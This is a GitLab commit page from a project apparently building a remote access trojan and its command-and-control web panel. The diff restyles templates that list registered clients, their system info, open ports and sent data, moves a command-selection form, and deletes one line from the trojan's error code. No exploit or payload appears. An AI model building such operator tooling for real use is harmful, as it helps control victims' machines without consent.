Skip to content
GitLab
Explore
Sign in
Primary navigation
Search or go to…
Project
R
rust-proj
Manage
Activity
Members
Labels
Plan
Issues
Issue boards
Milestones
Wiki
Code
Merge requests
Repository
Branches
Commits
Tags
Repository graph
Compare revisions
Snippets
Build
Pipelines
Jobs
Pipeline schedules
Artifacts
Deploy
Releases
Package registry
Model registry
Operate
Environments
Terraform modules
Monitor
Incidents
Analyze
Value stream analytics
Contributor analytics
CI/CD analytics
Repository analytics
Model experiments
Help
Help
Support
GitLab documentation
Compare GitLab plans
GitLab community forum
Contribute to GitLab
Provide feedback
Keyboard shortcuts
?
Snippets
Groups
Projects
Show more breadcrumbs
leo.muff
rust-proj
Commits
ac2ff8a7
Commit
ac2ff8a7
authored
1 year ago
by
leo.muff
Browse files
Options
Downloads
Patches
Plain Diff
frontend ptdr
parent
90e80dae
No related branches found
No related tags found
No related merge requests found
Changes
3
Show whitespace changes
Inline
Side-by-side
Showing
3 changed files
c2/templates/client.html.tera
+41
-33
41 additions, 33 deletions
c2/templates/client.html.tera
c2/templates/clients.html.tera
+5
-16
5 additions, 16 deletions
c2/templates/clients.html.tera
rat/src/errors.rs
+0
-1
0 additions, 1 deletion
rat/src/errors.rs
with
46 additions
and
50 deletions
c2/templates/client.html.tera
+
41
−
33
View file @
ac2ff8a7
{% extends "base" %}
{% extends "base" %}
{% block content %}
{% block content %}
<a href="/newcommand/{{id}}"> Commands </a>
<div class="mt-4" style="text-align:center">
<div>
<h2>Info from client @ {{client}}</h3>
<h3>Info from client @ {{client}}</h3>
<a href="/newcommand/{{id}}" class="m-2 mb-4 text-center btn btn-secondary active" role="button" aria-pressed="true" > Commands </a>
</div>
<div class="mx-auto w-75 border p-5" >
<div class="row">
<div class="col">
<h3 style="margin-bottom:90px">System Info</h3>
<div class="card" >
<div class="card" >
<ul class="list-group list-group-flush">
<ul class="list-group list-group-flush">
<li class="list-group-item"><b>Adresse :</b> {{info.socket_addr}}</li>
<li class="list-group-item"><b>Adresse :</b> {{info.socket_addr}}</li>
...
@@ -13,8 +18,9 @@
...
@@ -13,8 +18,9 @@
<li class="list-group-item"><b>Kernel :</b> {{info.kernel}}</li>
<li class="list-group-item"><b>Kernel :</b> {{info.kernel}}</li>
</ul>
</ul>
</div>
</div>
</div>
<div class="col">
<h3>Open Ports</h3>
<h3>Open Ports</h3>
<div>
<table class="table" id="ports" name="ports">
<table class="table" id="ports" name="ports">
<thead>
<thead>
<tr>
<tr>
...
@@ -33,9 +39,10 @@
...
@@ -33,9 +39,10 @@
</table>
</table>
</div>
</div>
</div>
</div>
<h3>Data sent</h3>
</div>
<div>
<h3 class="mt-5" style="text-align:center">Data sent</h3>
<table class="table">
<div class="w-75 mx-auto mt-2">
<table class="table" id="data">
<thead>
<thead>
<tr>
<tr>
<th scope="col">Id</th>
<th scope="col">Id</th>
...
@@ -60,5 +67,6 @@
...
@@ -60,5 +67,6 @@
<script src="/static/datatables/datatables.min.js"></script>
<script src="/static/datatables/datatables.min.js"></script>
<script>
<script>
new DataTable('#ports');
new DataTable('#ports');
new DataTable('#data');
</script>
</script>
{% endblock scripts %}
{% endblock scripts %}
\ No newline at end of file
This diff is collapsed.
Click to expand it.
c2/templates/clients.html.tera
+
5
−
16
View file @
ac2ff8a7
{% extends "base" %}
{% extends "base" %}
{% block content %}
{% block content %}
<h2>Registered clients</h2>
<h2
class="m-4"
>Registered clients</h2>
<div>
<div
class="w-75 mx-auto mt-5"
>
<table class="table">
<table class="table
border
">
<thead>
<thead>
<tr>
<tr>
<th scope="col">Id</th>
<th scope="col">Id</th>
...
@@ -16,20 +16,9 @@
...
@@ -16,20 +16,9 @@
<tr>
<tr>
<th scope="row">{{client.id}}</th>
<th scope="row">{{client.id}}</th>
<td>{{client.address}}</td>
<td>{{client.address}}</td>
<td><a href="client/{{client.id}}"> Data </a></td>
<td><a href="client/{{client.id}}"
class="btn btn-secondary active" role="button" aria-pressed="true"
> Data </a></td>
<td>
<td>
<form action="/newcommand" method="post">
<a href="/newcommand/{{client.id}}" class="btn btn-secondary active" role="button" aria-pressed="true"> Commands </a>
<label for="command">Choose a command :</label>
<select id="command" name="command">
{% for c in commands %}
<option value="{{loop.index}}">{{c}}</option>
{% endfor %}
</select>
<input type="text" placeholder="Option" name=option/>
<input name="client_id" type="hidden" value={{client.id}} />
<input type="submit" />
</form>
<a href="/newcommand/{{client.id}}"> Commands </a>
</td>
</td>
</tr>
</tr>
{% endfor %}
{% endfor %}
...
...
This diff is collapsed.
Click to expand it.
rat/src/errors.rs
+
0
−
1
View file @
ac2ff8a7
...
@@ -35,7 +35,6 @@ impl fmt::Display for ClientError {
...
@@ -35,7 +35,6 @@ impl fmt::Display for ClientError {
Self
::
InvalidHeader
(
e
)
=>
write!
(
f
,
"Error setting custom header : {:?}"
,
e
),
Self
::
InvalidHeader
(
e
)
=>
write!
(
f
,
"Error setting custom header : {:?}"
,
e
),
Self
::
SysinfoError
(
e
)
=>
write!
(
f
,
"Error sending data : cannot get info from system : {}"
,
e
),
Self
::
SysinfoError
(
e
)
=>
write!
(
f
,
"Error sending data : cannot get info from system : {}"
,
e
),
Self
::
OtherError
=>
write!
(
f
,
"Error sending data : not specified"
)
Self
::
OtherError
=>
write!
(
f
,
"Error sending data : not specified"
)
}
}
}
}
...
...
This diff is collapsed.
Click to expand it.
Preview
0%
Loading
Try again
or
attach a new file
.
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Save comment
Cancel
Please
register
or
sign in
to comment